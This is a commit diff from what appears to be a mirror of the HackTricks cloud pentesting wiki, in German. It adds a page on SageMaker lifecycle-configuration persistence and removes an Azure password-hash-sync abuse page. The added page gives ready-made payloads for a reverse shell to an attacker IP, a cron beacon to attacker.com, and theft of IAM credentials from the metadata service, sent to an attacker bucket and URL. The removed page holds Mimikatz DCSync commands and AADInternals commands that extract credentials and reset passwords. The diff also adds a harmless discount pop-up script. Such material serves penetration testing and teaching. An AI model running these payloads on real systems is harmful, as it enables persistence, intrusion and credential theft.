mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem
This commit is contained in:
@@ -442,11 +442,13 @@
|
||||
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
|
||||
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
|
||||
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
|
||||
- [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
|
||||
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
|
||||
- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
|
||||
- [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
|
||||
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
|
||||
BIN
src/images/discount.jpeg
Normal file
BIN
src/images/discount.jpeg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 186 KiB |
@@ -0,0 +1,156 @@
|
||||
# AWS - SageMaker Lifecycle Configuration Persistence
|
||||
|
||||
## Übersicht der Persistenztechniken
|
||||
|
||||
Dieser Abschnitt beschreibt Methoden zur Erlangung von Persistenz in SageMaker durch den Missbrauch von Lifecycle Configurations (LCCs), einschließlich Reverse Shells, Cron-Jobs, Diebstahl von Anmeldeinformationen über IMDS und SSH-Backdoors. Diese Skripte werden mit der IAM-Rolle der Instanz ausgeführt und können über Neustarts hinweg bestehen bleiben. Die meisten Techniken erfordern ausgehenden Netzwerkzugang, aber die Nutzung von Diensten im AWS-Control-Plane kann dennoch Erfolg ermöglichen, wenn die Umgebung im 'VPC-only'-Modus ist.
|
||||
#### Hinweis: SageMaker-Notebook-Instanzen sind im Wesentlichen verwaltete EC2-Instanzen, die speziell für Machine-Learning-Workloads konfiguriert sind.
|
||||
|
||||
## Erforderliche Berechtigungen
|
||||
* Notebook-Instanzen:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Studio-Anwendungen:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Set Lifecycle Configuration on Notebook Instances
|
||||
|
||||
### Beispiel AWS CLI-Befehle:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Lebenszykluskonfiguration in SageMaker Studio festlegen
|
||||
|
||||
Lebenszykluskonfigurationen können auf verschiedenen Ebenen und für unterschiedliche App-Typen innerhalb von SageMaker Studio angehängt werden.
|
||||
|
||||
### Studio-Domain-Ebene (Alle Benutzer)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Space Level (Einzel- oder Gemeinschaftsräume)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Arten von Studio-Anwendungslebenszykluskonfigurationen
|
||||
|
||||
Lebenszykluskonfigurationen können spezifisch auf verschiedene SageMaker Studio-Anwendungstypen angewendet werden:
|
||||
* JupyterServer: Führt Skripte beim Start des Jupyter-Servers aus, ideal für Persistenzmechanismen wie Reverse Shells und Cron-Jobs.
|
||||
* KernelGateway: Wird beim Start der Kernel-Gateway-App ausgeführt, nützlich für die Erstkonfiguration oder den dauerhaften Zugriff.
|
||||
* CodeEditor: Gilt für den Code-Editor (Code-OSS) und ermöglicht Skripte, die beim Start von Codebearbeitungssitzungen ausgeführt werden.
|
||||
|
||||
### Beispielbefehl für jeden Typ:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Kritische Informationen:
|
||||
* Das Anfügen von LCCs auf Domain- oder Raumebene betrifft alle Benutzer oder Anwendungen im Geltungsbereich.
|
||||
* Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), die typischerweise auf Raumebene machbarer sind als auf Domainebene.
|
||||
* Netzwerkebenenkontrollen (z. B. strenge Egress-Filterung) können erfolgreiche Reverse Shells oder Datenexfiltration verhindern.
|
||||
|
||||
## Reverse Shell über Lifecycle-Konfiguration
|
||||
|
||||
SageMaker Lifecycle Configurations (LCCs) führen benutzerdefinierte Skripte aus, wenn Notebook-Instanzen gestartet werden. Ein Angreifer mit Berechtigungen kann eine persistente Reverse Shell einrichten.
|
||||
|
||||
### Payload-Beispiel:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence über Lifecycle-Konfiguration
|
||||
|
||||
Ein Angreifer kann Cron-Jobs durch LCC-Skripte injizieren, um die periodische Ausführung von bösartigen Skripten oder Befehlen sicherzustellen, was eine heimliche Persistenz ermöglicht.
|
||||
|
||||
### Payload-Beispiel:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Credential Exfiltration via IMDS (v1 & v2)
|
||||
|
||||
Lifecycle-Konfigurationen können den Instance Metadata Service (IMDS) abfragen, um IAM-Anmeldeinformationen abzurufen und sie an einen von einem Angreifer kontrollierten Ort zu exfiltrieren.
|
||||
|
||||
### Payload Example:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
|
||||
@@ -1,114 +0,0 @@
|
||||
# Az - PHS - Passwort-Hash-Synchronisierung
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Passwort-Hash-Synchronisierung** ist eine der Anmeldemethoden, die verwendet wird, um hybride Identität zu erreichen. **Azure AD Connect** synchronisiert einen Hash, des Hashes, des Passworts eines Benutzers von einer lokalen Active Directory-Instanz zu einer cloudbasierten Azure AD-Instanz.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Es ist die **häufigste Methode**, die von Unternehmen verwendet wird, um ein lokales AD mit Azure AD zu synchronisieren.
|
||||
|
||||
Alle **Benutzer** und ein **Hash der Passwort-Hashes** werden vom lokalen AD zu Azure AD synchronisiert. Allerdings werden **Klartext-Passwörter** oder die **ursprünglichen** **Hashes** nicht an Azure AD gesendet.\
|
||||
Darüber hinaus werden **eingebaute** Sicherheitsgruppen (wie Domänenadministratoren...) **nicht synchronisiert** mit Azure AD.
|
||||
|
||||
Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontenablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen zugreifen** mit dem alten Passwort.
|
||||
|
||||
Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt die **Authentifizierung in Azure AD**.
|
||||
|
||||
**PHS** ist erforderlich für Funktionen wie **Identitätsschutz** und AAD-Domänendienste.
|
||||
|
||||
## Pivotierung
|
||||
|
||||
Wenn PHS konfiguriert ist, werden einige **privilegierte Konten** automatisch **erstellt**:
|
||||
|
||||
- Das Konto **`MSOL_<installationID>`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine **Rolle für Verzeichnis-Synchronisierungskonten** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat.
|
||||
- Ein Konto **`Sync_<Name des lokalen ADConnect-Servers>_installationID`** wird in Azure AD erstellt. Dieses Konto kann das Passwort von **JEDEM Benutzer** (synchronisiert oder nur Cloud) in Azure AD **zurücksetzen**.
|
||||
|
||||
Die Passwörter der beiden vorherigen privilegierten Konten werden **in einem SQL-Server** auf dem Server gespeichert, auf dem **Azure AD Connect installiert ist.** Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\
|
||||
Die Datenbank befindet sich in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Es ist möglich, die Konfiguration aus einer der Tabellen zu extrahieren, wobei eine verschlüsselt ist:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
Die **verschlüsselte Konfiguration** ist mit **DPAPI** verschlüsselt und enthält die **Passwörter des `MSOL_*`** Benutzers im lokalen AD und das Passwort von **Sync\_\*** in AzureAD. Daher ist es möglich, durch das Kompromittieren dieser Privilegien auf das AD und AzureAD zuzugreifen.
|
||||
|
||||
Sie finden eine [vollständige Übersicht darüber, wie diese Anmeldeinformationen gespeichert und entschlüsselt werden, in diesem Vortrag](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Finden des **Azure AD Connect-Servers**
|
||||
|
||||
Wenn der **Server, auf dem Azure AD Connect installiert ist**, mit der Domäne verbunden ist (in den Dokumenten empfohlen), ist es möglich, ihn mit zu finden:
|
||||
```bash
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
### Missbrauch von MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Sie können auch [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) verwenden, um diese Anmeldeinformationen zu erhalten.
|
||||
|
||||
### Missbrauch von Sync\_\*
|
||||
|
||||
Durch Kompromittierung des **`Sync_*`** Kontos ist es möglich, das **Passwort** eines beliebigen Benutzers (einschließlich globaler Administratoren) zurückzusetzen.
|
||||
```bash
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Es ist auch möglich, **die Passwörter von nur Cloud**-Benutzern zu **ändern** (auch wenn das unerwartet ist).
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Es ist auch möglich, das Passwort dieses Benutzers zu dumpen.
|
||||
|
||||
> [!CAUTION]
|
||||
> Eine andere Option wäre, **privilegierte Berechtigungen für ein Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf dieses Dienstprinzipal zuzugreifen** als eine Möglichkeit zur Privilegieneskalation.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
Es ist möglich, Seamless SSO mit PHS zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
101
theme/ai.js
101
theme/ai.js
@@ -1,3 +1,104 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
(() => {
|
||||
const KEY = 'htSummerDiscountsDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
backdrop-filter: blur(6px);
|
||||
display: flex; justify-content: center; align-items: center;
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
box-shadow: 0 8px 24px rgba(0,0,0,.35);
|
||||
font-family: system-ui, sans-serif;
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
`);
|
||||
|
||||
const link = $('a', `
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
display: block;
|
||||
`);
|
||||
link.href = URL;
|
||||
link.target = '_blank';
|
||||
link.rel = 'noopener noreferrer';
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
color: #fff; font-size: 1.4rem; line-height: 1;
|
||||
cursor: pointer; padding: 0; margin: 0;
|
||||
`);
|
||||
closeBtn.setAttribute('aria-label', 'Close');
|
||||
closeBtn.textContent = '✕';
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
`);
|
||||
const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2';
|
||||
cb.onchange = () => {
|
||||
if (cb.checked) {
|
||||
localStorage.setItem(KEY, 'true');
|
||||
overlay.remove();
|
||||
}
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
|
||||
} else {
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* HackTricks AI Chat Widget v1.16 – resizable sidebar
|
||||
* ---------------------------------------------------
|
||||
|
||||
Reference in New Issue
Block a user